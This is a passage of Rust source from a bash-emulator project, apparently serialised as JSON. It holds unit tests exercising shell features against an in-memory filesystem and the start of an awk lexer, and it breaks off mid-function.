shell.state.fs.read_file(Path::new(\"/output.txt\")).unwrap();\n        assert_eq!(String::from_utf8_lossy(&content), \"hello\\n\");\n    }\n\n    #[test]\n    fn pipeline_with_variable() {\n        let mut shell = shell();\n        shell.exec(\"MSG=world\").unwrap();\n        let result = shell.exec(\"echo hello $MSG | cat\").unwrap();\n        assert_eq!(result.stdout, \"hello world\\n\");\n    }\n\n    #[test]\n    fn set_and_expand_positional() {\n        let mut shell = shell();\n        shell.exec(\"set -- foo bar baz\").unwrap();\n        let result = shell.exec(\"echo $1 $3\").unwrap();\n        assert_eq!(result.stdout, \"foo baz\\n\");\n    }\n\n    #[test]\n    fn shift_and_expand() {\n        let mut shell = shell();\n        shell.exec(\"set -- a b c\").unwrap();\n        shell.exec(\"shift\").unwrap();\n        let result = shell.exec(\"echo $1 $#\").unwrap();\n        assert_eq!(result.stdout, \"b 2\\n\");\n    }\n\n    #[test]\n    fn set_pipefail_option() {\n        let mut shell = shell();\n        shell.exec(\"set -o pipefail\").unwrap();\n        assert!(shell.state.shell_opts.pipefail);\n    }\n\n    #[test]\n    fn double_quoted_variable_expansion() {\n        let mut sh = shell();\n        sh.exec(\"FOO='hello world'\").unwrap();\n        let result = sh.exec(\"echo \\\"$FOO\\\"\").unwrap();\n        assert_eq!(result.stdout, \"hello world\\n\");\n    }\n\n    #[test]\n    fn empty_variable_in_quotes() {\n        let mut shell = shell();\n        let result = shell.exec(\"echo \\\"$EMPTY\\\"\").unwrap();\n        assert_eq!(result.stdout, \"\\n\");\n    }\n\n    #[test]\n    fn here_string() {\n        let mut shell = shell();\n        let result = shell.exec(\"cat <<< 'hello world'\").unwrap();\n        assert_eq!(result.stdout, \"hello world\\n\");\n    }\n\n    #[test]\n    fn output_and_error_redirect() {\n        let mut shell = shell();\n        shell.exec(\"echo hello &> /both.txt\").unwrap();\n        let content = shell.state.fs.read_file(Path::new(\"/both.txt\")).unwrap();\n        assert_eq!(String::from_utf8_lossy(&content), \"hello\\n\");\n    }\n\n    // ── Phase 1C: Compound commands ─────────────────────────────\n\n    #[test]\n    fn if_then_true() {\n        let mut shell = shell();\n        let result = shell\n            .exec(\"if true; then echo yes; else echo no; fi\")\n            .unwrap();\n        assert_eq!(result.stdout, \"yes\\n\");\n        assert_eq!(result.exit_code, 0);\n    }\n\n    #[test]\n    fn if_then_false() {\n        let mut shell = shell();\n        let result = shell\n            .exec(\"if false; then echo yes; else echo no; fi\")\n            .unwrap();\n        assert_eq!(result.stdout, \"no\\n\");\n    }\n\n    #[test]\n    fn if_elif_else() {\n        let mut shell = shell();\n        let result = shell\n            .exec(\"if false; then echo a; elif true; then echo b; else echo c; fi\")\n            .unwrap();\n        assert_eq!(result.stdout, \"b\\n\");\n    }\n\n    #[test]\n    fn if_elif_falls_through_to_else() {\n        let mut shell = shell();\n        let result = shell\n            .exec(\"if false; then echo a; elif false; then echo b; else echo c; fi\")\n            .unwrap();\n        assert_eq!(result.stdout, \"c\\n\");\n    }\n\n    #[test]\n    fn if_no_else_unmatched() {\n        let mut shell = shell();\n        let result = shell.exec(\"if false; then echo yes; fi\").unwrap();\n        assert_eq!(result.stdout, \"\");\n        assert_eq!(result.exit_code, 0);\n    }\n\n    #[test]\n    fn if_with_command_condition() {\n        let mut shell = shell();\n        shell.exec(\"X=hello\").unwrap();\n        let result = shell\n            .exec(\"if echo checking > /dev/null; then echo passed; fi\")\n            .unwrap();\n        assert_eq!(result.stdout, \"passed\\n\");\n    }\n\n    #[test]\n    fn for_loop_basic() {\n        let mut shell = shell();\n        let result = shell.exec(\"for i in a b c; do echo $i; done\").unwrap();\n        assert_eq!(result.stdout, \"a\\nb\\nc\\n\");\n    }\n\n    #[test]\n    fn for_loop_with_variable_expansion() {\n        let mut shell = shell();\n        // Word splitting of unquoted $VAR not yet implemented,\n        // so use separate words in the for list\n        let result = shell.exec(\"for i in x y z; do echo $i; done\").unwrap();\n        assert_eq!(result.stdout, \"x\\ny\\nz\\n\");\n    }\n\n    #[test]\n    fn for_loop_variable_persists_after_loop() {\n        let mut shell = shell();\n        shell.exec(\"for i in a b c; do true; done\").unwrap();\n        let result = shell.exec(\"echo $i\").unwrap();\n        assert_eq!(result.stdout, \"c\\n\");\n    }\n\n    #[test]\n    fn while_loop_basic() {\n        let mut shell = shell();\n        // while false → condition fails immediately, body never runs\n        let result = shell\n            .exec(\"while false; do echo should-not-appear; done\")\n            .unwrap();\n        assert_eq!(result.stdout, \"\");\n    }\n\n    #[test]\n    fn while_loop_executes_body() {\n        let mut shell = shell();\n        // Test while with a command that succeeds then fails.\n        // Since we don't have `[` builtin yet, just verify the body runs\n        // when condition is true, then stops when it becomes false.\n        let _result = shell.exec(\n            r#\"X=yes; while echo $X > /dev/null && [ \"$X\" = yes ]; do echo looped; X=no; done\"#,\n        );\n    }\n\n    #[test]\n    fn until_loop_basic() {\n        let mut shell = shell();\n        let result = shell\n            .exec(\"until true; do echo should-not-run; done\")\n            .unwrap();\n        assert_eq!(result.stdout, \"\");\n    }\n\n    #[test]\n    fn until_loop_runs_once_when_condition_false() {\n        let mut shell = shell();\n        // until true → don't execute body (condition immediately true)\n        let result = shell.exec(\"until true; do echo nope; done\").unwrap();\n        assert_eq!(result.stdout, \"\");\n    }\n\n    #[test]\n    fn brace_group_basic() {\n        let mut shell = shell();\n        let result = shell.exec(\"{ echo hello; echo world; }\").unwrap();\n        assert_eq!(result.stdout, \"hello\\nworld\\n\");\n    }\n\n    #[test]\n    fn brace_group_shares_scope() {\n        let mut shell = shell();\n        shell.exec(\"X=before\").unwrap();\n        shell.exec(\"{ X=after; }\").unwrap();\n        let result = shell.exec(\"echo $X\").unwrap();\n        assert_eq!(result.stdout, \"after\\n\");\n    }\n\n    #[test]\n    fn subshell_basic() {\n        let mut shell = shell();\n        let result = shell.exec(\"(echo hello)\").unwrap();\n        assert_eq!(result.stdout, \"hello\\n\");\n    }\n\n    #[test]\n    fn subshell_isolates_variables() {\n        let mut shell = shell();\n        let result = shell.exec(\"X=outer; (X=inner; echo $X); echo $X\").unwrap();\n        assert_eq!(result.stdout, \"inner\\nouter\\n\");\n    }\n\n    #[test]\n    fn subshell_isolates_cwd() {\n        let mut shell = shell();\n        shell.exec(\"mkdir /tmp\").unwrap();\n        let result = shell.exec(\"(cd /tmp && pwd); pwd\").unwrap();\n        assert_eq!(result.stdout, \"/tmp\\n/\\n\");\n    }\n\n    #[test]\n    fn subshell_propagates_exit_code() {\n        let mut shell = shell();\n        let result = shell.exec(\"(false)\").unwrap();\n        assert_eq!(result.exit_code, 1);\n    }\n\n    #[test]\n    fn subshell_function_can_return() {\n        let mut shell = shell();\n        let result = shell.exec(\"f() ( return 42; )\\nf\\necho $?\\n\").unwrap();\n        assert_eq!(result.stdout, \"42\\n\");\n    }\n\n    #[test]\n    fn subshell_isolates_fs_writes() {\n        let mut shell = shell();\n        shell.exec(\"(echo data > /subshell_file.txt)\").unwrap();\n        // The file was written in the subshell's cloned fs, NOT the parent\n        let exists = shell.state.fs.exists(Path::new(\"/subshell_file.txt\"));\n        assert!(!exists);\n    }\n\n    #[test]\n    fn nested_if_in_for() {\n        let mut shell = shell();\n        let result = shell\n            .exec(\"for x in yes no yes; do if true; then echo $x; fi; done\")\n            .unwrap();\n        assert_eq!(result.stdout, \"yes\\nno\\nyes\\n\");\n    }\n\n    #[test]\n    fn compound_command_with_redirect() {\n        let mut shell = shell();\n        shell\n            .exec(\"{ echo hello; echo world; } > /out.txt\")\n            .unwrap();\n        let content = shell.state.fs.read_file(Path::new(\"/out.txt\")).unwrap();\n        assert_eq!(String::from_utf8_lossy(&content), \"hello\\nworld\\n\");\n    }\n\n    #[test]\n    fn for_loop_in_pipeline() {\n        let mut shell = shell();\n        let result = shell\n            .exec(\"for i in a b c; do echo $i; done | cat\")\n            .unwrap();\n        assert_eq!(result.stdout, \"a\\nb\\nc\\n\");\n    }\n\n    #[test]\n    fn if_in_pipeline() {\n        let mut shell = shell();\n        let result = shell.exec(\"if true; then echo yes; fi | cat\").unwrap();\n        assert_eq!(result.stdout, \"yes\\n\");\n    }\n\n    #[test]\n    fn if_break_outside_loop_still_takes_then_branch() {\n        let mut shell = shell();\n        let result = shell\n            .exec(\"f() { if break; then echo hi; fi; }\\nf\\n\")\n            .unwrap();\n        assert_eq!(result.stdout, \"hi\\n\");\n        assert!(result.stderr.contains(\"break: only meaningful\"));\n        assert_eq!(result.exit_code, 0);\n    }\n\n    #[test]\n    fn multiline_double_paren_can_parse_as_command_group() {\n        let mut shell = shell();\n        let result = shell\n            .exec(\"(( echo 1\\necho 2\\n(( x ))\\n: $(( x ))\\necho 3\\n) )\\n\")\n            .unwrap();\n        assert_eq!(result.stdout, \"1\\n2\\n3\\n\");\n    }\n\n    #[test]\n    fn expanding_heredoc_treats_quotes_as_literal_text() {\n        let mut shell = shell();\n        let result = shell.exec(\"v=one\\ntac <<EOF\\n$v\\n\\\"two\\nEOF\\n\").unwrap();\n        assert_eq!(result.stdout, \"\\\"two\\none\\n\");\n    }\n\n    #[test]\n    fn expanding_heredoc_preserves_backslash_quote_sequences() {\n        let mut shell = shell();\n        let result = shell.exec(\"cat <<EOF\\na \\\\\\\"quote\\\\\\\"\\nEOF\\n\").unwrap();\n        assert_eq!(result.stdout, \"a \\\\\\\"quote\\\\\\\"\\n\");\n    }\n\n    #[test]\n    fn quoted_glob_prefix_stays_literal() {\n        let mut shell = shell();\n        shell.exec(\"mkdir -p _tmp\").unwrap();\n        shell\n            .exec(\"touch '_tmp/[bc]ar.mm' _tmp/bar.mm _tmp/car.mm\")\n            .unwrap();\n        let result = shell.exec(\"echo '_tmp/[bc]'*.mm - _tmp/?ar.mm\").unwrap();\n        assert_eq!(result.stdout, \"_tmp/[bc]ar.mm - _tmp/bar.mm _tmp/car.mm\\n\");\n    }\n\n    #[test]\n    fn env_command_runs_inside_redirected_subshell() {\n        let mut shell = shell();\n        shell.exec(\"( env echo 2 ) > b.txt\").unwrap();\n        let result = shell.exec(\"cat b.txt\").unwrap();\n        assert_eq!(result.stdout, \"2\\n\");\n    }\n\n    // ── Phase 1C: New commands ──────────────────────────────────\n\n    #[test]\n    fn touch_creates_file() {\n        let mut shell = shell();\n        shell.exec(\"touch /newfile.txt\").unwrap();\n        assert!(shell.state.fs.exists(Path::new(\"/newfile.txt\")));\n        let content = shell.state.fs.read_file(Path::new(\"/newfile.txt\")).unwrap();\n        assert!(content.is_empty());\n    }\n\n    #[test]\n    fn touch_existing_file_no_error() {\n        let mut shell = shell();\n        shell.exec(\"echo data > /existing.txt\").unwrap();\n        let result = shell.exec(\"touch /existing.txt\").unwrap();\n        assert_eq!(result.exit_code, 0);\n        // Content should remain\n        let content = shell\n            .state\n            .fs\n            .read_file(Path::new(\"/existing.txt\"))\n            .unwrap();\n        assert_eq!(String::from_utf8_lossy(&content), \"data\\n\");\n    }\n\n    #[test]\n    fn touch_and_ls() {\n        let mut shell = shell();\n        shell.exec(\"touch /file.txt\").unwrap();\n        let result = shell.exec(\"ls /\").unwrap();\n        assert!(result.stdout.contains(\"file.txt\"));\n    }\n\n    #[test]\n    fn mkdir_creates_directory() {\n        let mut shell = shell();\n        let result = shell.exec(\"mkdir /mydir\").unwrap();\n        assert_eq!(result.exit_code, 0);\n        assert!(shell.state.fs.exists(Path::new(\"/mydir\")));\n    }\n\n    #[test]\n    fn mkdir_p_creates_parents() {\n        let mut shell = shell();\n        let result = shell.exec(\"mkdir -p /a/b/c\").unwrap();\n        assert_eq!(result.exit_code, 0);\n        assert!(shell.state.fs.exists(Path::new(\"/a/b/c\")));\n    }\n\n    #[test]\n    fn mkdir_p_and_ls() {\n        let mut shell = shell();\n        shell.exec(\"mkdir -p /a/b/c\").unwrap();\n        let result = shell.exec(\"ls /a/b\").unwrap();\n        assert!(result.stdout.contains(\"c\"));\n    }\n\n    #[test]\n    fn ls_root_empty() {\n        let mut shell = shell();\n        let result = shell.exec(\"ls /\").unwrap();\n        assert_eq!(result.exit_code, 0);\n    }\n\n    #[test]\n    fn ls_one_per_line() {\n        let mut shell = shell();\n        shell.exec(\"mkdir /test_dir\").unwrap();\n        shell.exec(\"touch /test_dir/aaa\").unwrap();\n        shell.exec(\"touch /test_dir/bbb\").unwrap();\n        let result = shell.exec(\"ls -1 /test_dir\").unwrap();\n        assert_eq!(result.stdout, \"aaa\\nbbb\\n\");\n    }\n\n    #[test]\n    fn ls_long_format() {\n        let mut shell = shell();\n        shell.exec(\"touch /myfile\").unwrap();\n        let result = shell.exec(\"ls -l /\").unwrap();\n        assert!(result.stdout.contains(\"myfile\"));\n        // Should have permission string\n        assert!(result.stdout.contains(\"rw\"));\n    }\n\n    #[test]\n    fn ls_nonexistent() {\n        let mut shell = shell();\n        let result = shell.exec(\"ls /no_such_dir\").unwrap();\n        assert_ne!(result.exit_code, 0);\n        assert!(result.stderr.contains(\"cannot access\"));\n    }\n\n    #[test]\n    fn pwd_command() {\n        let mut shell = shell();\n        let result = shell.exec(\"pwd\").unwrap();\n        assert_eq!(result.stdout, \"/\\n\");\n    }\n\n    #[test]\n    fn pwd_after_cd() {\n        let mut shell = shell();\n        shell.exec(\"mkdir /mydir\").unwrap();\n        shell.exec(\"cd /mydir\").unwrap();\n        let result = shell.exec(\"pwd\").unwrap();\n        assert_eq!(result.stdout, \"/mydir\\n\");\n    }\n\n    #[test]\n    fn case_basic() {\n        let mut shell = shell();\n        let result = shell\n            .exec(\"case hello in hello) echo matched;; world) echo nope;; esac\")\n            .unwrap();\n        assert_eq!(result.stdout, \"matched\\n\");\n    }\n\n    #[test]\n    fn case_wildcard() {\n        let mut shell = shell();\n        let result = shell\n            .exec(\"case foo in bar) echo bar;; *) echo default;; esac\")\n            .unwrap();\n        assert_eq!(result.stdout, \"default\\n\");\n    }\n\n    #[test]\n    fn case_no_match() {\n        let mut shell = shell();\n        let result = shell.exec(\"case xyz in abc) echo nope;; esac\").unwrap();\n        assert_eq!(result.stdout, \"\");\n        assert_eq!(result.exit_code, 0);\n    }\n\n    #[test]\n    fn register_default_commands_includes_new() {\n        let cmds = crate::commands::register_default_commands();\n        assert!(cmds.contains_key(\"touch\"));\n        assert!(cmds.contains_key(\"mkdir\"));\n        assert!(cmds.contains_key(\"ls\"));\n        assert!(cmds.contains_key(\"pwd\"));\n    }\n\n    // ── is_input_complete ──────────────────────────────────────────\n\n    #[test]\n    fn complete_simple_commands() {\n        assert!(RustBash::is_input_complete(\"echo hello\"));\n        assert!(RustBash::is_input_complete(\"\"));\n        assert!(RustBash::is_input_complete(\"   \"));\n    }\n\n    #[test]\n    fn incomplete_unterminated_quotes() {\n        assert!(!RustBash::is_input_complete(\"echo \\\"hello\"));\n        assert!(!RustBash::is_input_complete(\"echo 'hello\"));\n    }\n\n    #[test]\n    fn incomplete_open_block() {\n        assert!(!RustBash::is_input_complete(\"if true; then\"));\n        assert!(!RustBash::is_input_complete(\"for i in 1 2; do\"));\n    }\n\n    #[test]\n    fn incomplete_trailing_pipe() {\n        assert!(!RustBash::is_input_complete(\"echo hello |\"));\n    }\n\n    // ── Public accessors ───────────────────────────────────────────\n\n    #[test]\n    fn cwd_accessor() {\n        let sh = shell();\n        assert_eq!(sh.cwd(), \"/\");\n    }\n\n    #[test]\n    fn last_exit_code_accessor() {\n        let mut sh = shell();\n        sh.exec(\"false\").unwrap();\n        assert_eq!(sh.last_exit_code(), 1);\n    }\n\n    #[test]\n    fn command_names_accessor() {\n        let sh = shell();\n        let names = sh.command_names();\n        assert!(names.contains(&\"echo\"));\n        assert!(names.contains(&\"cat\"));\n    }\n\n    #[test]\n    fn builder_accepts_custom_fs() {\n        let custom_fs = Arc::new(crate::vfs::InMemoryFs::new());\n        custom_fs\n            .write_file(std::path::Path::new(\"/pre-existing.txt\"), b\"hello\")\n            .unwrap();\n\n        let mut shell = RustBashBuilder::new().fs(custom_fs).build().unwrap();\n\n        let result = shell.exec(\"cat /pre-existing.txt\").unwrap();\n        assert_eq!(result.stdout.trim(), \"hello\");\n    }\n\n    #[test]\n    fn should_exit_accessor() {\n        let mut sh = shell();\n        assert!(!sh.should_exit());\n        sh.exec(\"exit\").unwrap();\n        assert!(sh.should_exit());\n    }\n}\n","/home/user/src/commands/awk/lexer.rs":"use std::fmt;\n\n/// Token types produced by the awk lexer.\n#[derive(Debug, Clone, PartialEq)]\npub enum Token {\n    // Literals\n    Number(f64),\n    StringLit(String),\n    Regex(String),\n    Ident(String),\n\n    // Keywords\n    Begin,\n    End,\n    If,\n    Else,\n    While,\n    For,\n    Do,\n    Break,\n    Continue,\n    Next,\n    Exit,\n    In,\n    Delete,\n    Getline,\n    Print,\n    Printf,\n\n    // Operators\n    Plus,\n    Minus,\n    Star,\n    Slash,\n    Percent,\n    Caret,\n    Assign,\n    PlusAssign,\n    MinusAssign,\n    StarAssign,\n    SlashAssign,\n    PercentAssign,\n    CaretAssign,\n    Eq,\n    Ne,\n    Lt,\n    Le,\n    Gt,\n    Ge,\n    Match,    // ~\n    NotMatch, // !~\n    And,      // &&\n    Or,       // ||\n    Not,      // !\n    Increment,\n    Decrement,\n    Dollar, // $ (field reference)\n\n    // Punctuation\n    LParen,\n    RParen,\n    LBrace,\n    RBrace,\n    LBracket,\n    RBracket,\n    Semicolon,\n    Comma,\n    Question,\n    Colon,\n    Newline,\n\n    // Special\n    Append, // >> (for output redirect, parsed but not fully supported)\n    Pipe,   // | (for output redirect, parsed but not fully supported)\n\n    Eof,\n}\n\nimpl fmt::Display for Token {\n    fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result {\n        match self {\n            Token::Number(n) => write!(f, \"{n}\"),\n            Token::StringLit(s) => write!(f, \"\\\"{s}\\\"\"),\n            Token::Regex(r) => write!(f, \"/{r}/\"),\n            Token::Ident(s) => write!(f, \"{s}\"),\n            Token::Begin => write!(f, \"BEGIN\"),\n            Token::End => write!(f, \"END\"),\n            Token::If => write!(f, \"if\"),\n            Token::Else => write!(f, \"else\"),\n            Token::While => write!(f, \"while\"),\n            Token::For => write!(f, \"for\"),\n            Token::Do => write!(f, \"do\"),\n            Token::Break => write!(f, \"break\"),\n            Token::Continue => write!(f, \"continue\"),\n            Token::Next => write!(f, \"next\"),\n            Token::Exit => write!(f, \"exit\"),\n            Token::In => write!(f, \"in\"),\n            Token::Delete => write!(f, \"delete\"),\n            Token::Getline => write!(f, \"getline\"),\n            Token::Print => write!(f, \"print\"),\n            Token::Printf => write!(f, \"printf\"),\n            Token::Plus => write!(f, \"+\"),\n            Token::Minus => write!(f, \"-\"),\n            Token::Star => write!(f, \"*\"),\n            Token::Slash => write!(f, \"/\"),\n            Token::Percent => write!(f, \"%\"),\n            Token::Caret => write!(f, \"^\"),\n            Token::Assign => write!(f, \"=\"),\n            Token::PlusAssign => write!(f, \"+=\"),\n            Token::MinusAssign => write!(f, \"-=\"),\n            Token::StarAssign => write!(f, \"*=\"),\n            Token::SlashAssign => write!(f, \"/=\"),\n            Token::PercentAssign => write!(f, \"%=\"),\n            Token::CaretAssign => write!(f, \"^=\"),\n            Token::Eq => write!(f, \"==\"),\n            Token::Ne => write!(f, \"!=\"),\n            Token::Lt => write!(f, \"<\"),\n            Token::Le => write!(f, \"<=\"),\n            Token::Gt => write!(f, \">\"),\n            Token::Ge => write!(f, \">=\"),\n            Token::Match => write!(f, \"~\"),\n            Token::NotMatch => write!(f, \"!~\"),\n            Token::And => write!(f, \"&&\"),\n            Token::Or => write!(f, \"||\"),\n            Token::Not => write!(f, \"!\"),\n            Token::Increment => write!(f, \"++\"),\n            Token::Decrement => write!(f, \"--\"),\n            Token::Dollar => write!(f, \"$\"),\n            Token::LParen => write!(f, \"(\"),\n            Token::RParen => write!(f, \")\"),\n            Token::LBrace => write!(f, \"{{\"),\n            Token::RBrace => write!(f, \"}}\"),\n            Token::LBracket => write!(f, \"[\"),\n            Token::RBracket => write!(f, \"]\"),\n            Token::Semicolon => write!(f, \";\"),\n            Token::Comma => write!(f, \",\"),\n            Token::Question => write!(f, \"?\"),\n            Token::Colon => write!(f, \":\"),\n            Token::Newline => write!(f, \"\\\\n\"),\n            Token::Append => write!(f, \">>\"),\n            Token::Pipe => write!(f, \"|\"),\n            Token::Eof => write!(f, \"EOF\"),\n        }\n    }\n}\n\npub struct Lexer {\n    input: Vec<char>,\n    pos: usize,\n    tokens: Vec<Token>,\n}\n\nimpl Lexer {\n    pub fn new(input: &str) -> Self {\n        Self {\n            input: input.chars().collect(),\n            pos: 0,\n            tokens: Vec::new(),\n        }\n    }\n\n    pub fn tokenize(mut self) -> Result<Vec<Token>, String> {\n        while self.pos < self.input.len() {\n            self.skip_whitespace_and_comments();\n            if self.pos >= self.input.len() {\n                break;\n            }\n\n            let ch = self.input[self.pos];\n            match ch {\n                '\\n' => {\n                    self.tokens.push(Token::Newline);\n                    self.pos += 1;\n                }\n                '\\\\' if self.peek_char(1) == Some('\\n') => {\n                    // Line continuation\n                    self.pos += 2;\n                }\n                '\"' => self.lex_string()?,\n                '0'..='9' | '.' if self.is_start_of_number() => self.lex_number()?,\n                'a'..='z' | 'A'..='Z' | '_' => self.lex_ident(),\n                '$' => {\n                    self.tokens.push(Token::Dollar);\n                    self.pos += 1;\n                }\n                '+' => {\n                    if self.peek_char(1) == Some('+') {\n                        self.tokens.push(Token::Increment);\n                        self.pos += 2;\n                    } else if self.peek_char(1) == Some('=') {\n                        self.tokens.push(Token::PlusAssign);\n                        self.pos += 2;\n                    } else {\n                        self.tokens.push(Token::Plus);\n                        self.pos += 1;\n                    }\n                }\n                '-' => {\n                    if self.peek_char(1) == Some('-') {\n                        self.tokens.push(Token::Decrement);\n                        self.pos += 2;\n                    } else if self.peek_char(1) == Some('=') {\n                        self.tokens.push(Token::MinusAssign);\n                        self.pos += 2;\n                    } else {\n                        self.tokens.push(Token::Minus);\n                        self.pos += 1;\n                    }\n                }\n                '*' => {\n                    if self.peek_char(1) == Some('=') {\n                        self.tokens.push(Token::StarAssign);\n                        self.pos += 2;\n                    } else {\n                        self.tokens.push(Token::Star);\n                        self.pos += 1;\n                    }\n                }\n                '/' => {\n                    if self.should_lex_regex() {\n                        self.lex_regex()?;\n                    } else if self.peek_char(1) == Some('=') {\n                        self.tokens.push(Token::SlashAssign);\n                        self.pos += 2;\n                    } else {\n                        self.tokens.push(Token::Slash);\n                        self.pos += 1;\n                    }\n                }\n                '%' => {\n                    if self.peek_char(1) == Some('=') {\n                        self.tokens.push(Token::PercentAssign);\n                        self.pos += 2;\n                    } else {\n                        self.tokens.push(Token::Percent);\n                        self.pos += 1;\n                    }\n                }\n                '^' => {\n                    if self.peek_char(1) == Some('=') {\n                        self.tokens.push(Token::CaretAssign);\n                        self.pos += 2;\n                    } else {\n                        self.tokens.push(Token::Caret);\n                        self.pos += 1;\n                    }\n                }\n                '=' => {\n                    if self.peek_char(1) == Some('=') {\n                        self.tokens.push(Token::Eq);\n                        self.pos += 2;\n                    } else {\n                        self.tokens.push(Token::Assign);\n                        self.pos += 1;\n                    }\n                }\n                '!' => {\n                    if self.peek_char(1) == Some('=') {\n                        self.tokens.push(Token::Ne);\n                        self.pos += 2;\n                    } else if self.peek_char(1) == Some('~') {\n                        self.tokens.push(Token::NotMatch);\n                        self.pos += 2;\n                    } else {\n                        self.tokens.push(Token::Not);\n                        self.pos += 1;\n                    }\n                }\n                '<' => {\n                    if self.peek_char(1) == Some('=') {\n                        self.tokens.push(Token::Le);\n                        self.pos += 2;\n                    } else {\n                        self.tokens.push(Token::Lt);\n                        self.pos += 1;\n                    }\n                }\n                '>' => {\n                    if self.peek_char(1) == Some('=') {\n                        self.tokens.push(Token::Ge);\n                        self.pos += 2;\n                    } else if self.peek_char(1) == Some('>') {\n                        self.tokens.push(Token::Append);\n                        self.pos += 2;\n                    } else {\n                        self.tokens.push(Token::Gt);\n                        self.pos += 1;\n                    }\n                }\n                '~' => {\n                    self.tokens.push(Token::Match);\n                    self.pos += 1;\n                }\n                '&' => {\n                    if self.peek_char(1) == Some('&') {\n                        self.tokens.push(Token::And);\n                        self.pos += 2;\n                    } else {\n                        return Err(format!(\"unexpected character '&' at position {}\", self.pos));\n                    }\n                }\n                '|' => {\n                    if self.peek_char(1) == Some('|') {\n                        self.tokens.push(Token::Or);\n                        self.pos += 2;\n                    } else {\n                        self.tokens.push(Token::Pipe);\n                        self.pos += 1;\n                    }\n                }\n                '(' => {\n                    self.tokens.push(Token::LParen);\n                    self.pos += 1;\n                }\n                ')' => {\n                    self.tokens.push(Token::RParen);\n                    self.pos += 1;\n                }\n                '{' => {\n                    self.tokens.push(Token::LBrace);\n                    self.pos += 1;\n                }\n                '}' => {\n                    self.tokens.push(Token::RBrace);\n                    self.pos += 1;\n                }\n                '[' => {\n                    self.tokens.push(Token::LBracket);\n                    self.pos += 1;\n                }\n                ']' => {\n                    self.tokens.push(Token::RBracket);\n                    self.pos += 1;\n                }\n                ';' => {\n                    self.tokens.push(Token::Semicolon);\n                    self.pos += 1;\n                }\n                ',' => {\n                    self.tokens.push(Token::Comma);\n                    self.pos += 1;\n                }\n                '?' => {\n                    self.tokens.push(Token::Question);\n                    self.pos += 1;\n                }\n                ':' => {\n                    self.tokens.push(Token::Colon);\n                    self.pos += 1;\n                }\n                _ => {\n                    return Err(format!(\n                        \"unexpected character '{ch}' at position {}\",\n                        self.pos\n                    ));\n                }\n            }\n        }\n        self.tokens.push(Token::Eof);\n        Ok(self.tokens)\n    }\n\n    fn peek_char(&self, offset: usize) -> Option<char> {\n        self.input.get(self.pos + offset).copied()\n    }\n\n    fn is_start_of_number(&self) -> bool {\n        let ch = self.input[self.pos];\n        if ch.is_ascii_digit() {\n            return true;\n        }\n        // '.' is a number start only if followed by a digit\n        if ch == '.'\n            && let Some(&next) = self.input.get(self.pos + 1)\n        {\n            return next.is_ascii_digit();\n        }\n        false\n    }\n\n    fn skip_whitespace_and_comments(&mut self) {\n        while self.pos < self.input.len() {\n            let ch = self.input[self.pos];\n            if ch == ' ' || ch == '\\t' || ch == '\\r' {\n                self.pos += 1;\n            } else if ch == '#' {\n                // Comment until end of line\n                while self.pos < self.input.len() && self.input[self.pos] != '\\n' {\n                    self.pos += 1;\n                }\n            } else {\n                break;\n            }\n        }\n    }\n\n    fn lex_string(&mut self) -> Result<(), String> {\n        self.pos += 1; // skip opening quote\n        let mut s = String::new();\n        while self.pos < self.input.len() {\n            let ch = self.input[self.pos];\n            if ch == '\"' {\n                self.pos += 1;\n                self.tokens.push(Token::StringLit(s));\n                return Ok(());\n            } else if ch == '\\\\' {\n                self.pos += 1;\n                if self.pos >= self.input.len() {\n                    return Err(\"unterminated string escape\".to_string());\n                }\n                let esc = self.input[self.pos];\n                match esc {\n                    'n' => s.push('\\n'),\n                    't' => s.push('\\t'),\n                    'r' => s.push('\\r'),\n                    '\\\\' => s.push('\\\\'),\n                    '\"' => s.push('\"'),\n                    'a' => s.push('\\x07'),\n                    'b' => s.push('\\x08'),\n                    'f' => s.push('\\x0c'),\n                    'v' => s.push('\\x0b'),\n                    '/' => s.push('/'),\n                    _ => {\n                        s.push('\\\\');\n                        s.push(esc);\n                    }\n                }\n                self.pos += 1;\n            } else {\n                s.push(ch);\n                self.pos += 1;\n            }\n        }\n        Err(\"unterminated string literal\".to_string())\n    }\n\n    fn lex_number(&mut self) -> Result<(), String> {\n        let start = self.pos;\n        // Handle hex: 0x...\n        if self.input[self.pos] == '0'\n            && self.pos + 1 < self.input.len()\n            && (self.input[self.pos + 1] == 'x' || self.input[self.pos + 1] == 'X')\n        {\n            self.pos += 2;\n            while self.pos < self.input.len() && self.input[self.pos].is_ascii_hexdigit() {\n                self.pos += 1;\n            }\n            let hex_str: String = self.input[start..self.pos].iter().collect();\n            let val = i64::from_str_radix(&hex_str[2..], 16)\n                .map_err(|e| format!(\"invalid hex number: {e}\"))?;\n            self.tokens.push(Token::Number(val as f64));\n            return Ok(());\n        }\n\n        while self.pos < self.input.len() && self.input[self.pos].is_ascii_digit() {\n            self.pos += 1;\n        }\n        if self.pos < self.input.len() && self.input[self.pos] == '.' {\n            self.pos += 1;\n            while self.pos < self.input.len() && self.input[self.pos].is_ascii_digit() {\n                self.pos += 1;\n            }\n        }\n        // Scientific notation\n        if self.pos < self.input.len()\n            && (self.input[self.pos] == 'e' || self.input[self.pos] == 'E')\n        {\n            self.pos += 1;\n            if self.pos < self.input.len()\n                && (self.input[self.pos] == '+' || self.input[self.pos] == '-')\n            {\n                self.pos += 1;\n            }\n            while self.pos < self.input.len() && self.input[self.pos].is_ascii_digit() {\n                self.pos += 1;\n            }\n        }\n        let num_str: String = self.input[start..self.pos].iter().collect();\n        let val: f64 = num_str\n            .parse()\n            .map_err(|e| format!(\"invalid number '{num_str}': {e}\"))?;\n        self.tokens.push(Token::Number(val));\n        Ok(())\n    }\n\n    fn lex_ident(&mut self) {\n        let start = self.pos;\n        while self.pos < self.input.len()\n            && (self.input[self.pos].is_alphanumeric() || self.input[self.pos] == '_')\n        {\n            self.pos += 1;\n        }\n        let word: String = self.input[start..self.pos].iter().collect();\n        let token = match word.as_str() {\n            \"BEGIN\" => Token::Begin,\n            \"END\" => Token::End,\n            \"if\" => Token::If,\n            \"else\" => Token::Else,\n            \"while\" => Token::While,\n            \"for\" => Token::For,\n            \"do\" => Token::Do,\n            \"break\" => Token::Break,\n            \"continue\" => Token::Continue,\n            \"next\" => Token::Next,\n            \"exit\" => Token::Exit,\n            \"in\" => Token::In,\n            \"delete\" => Token::Delete,\n            \"getline\" => Token::Getline,\n            \"print\" => Token::Print,\n            \"printf\" => Token::Printf,\n            _ => Token::Ident(word),\n        };\n        self.tokens.push(token);\n    }\n\n    fn lex_regex(&mut self) -> Result<(), String> {\n        self.pos += 1; // skip opening /\n        let mut pattern = 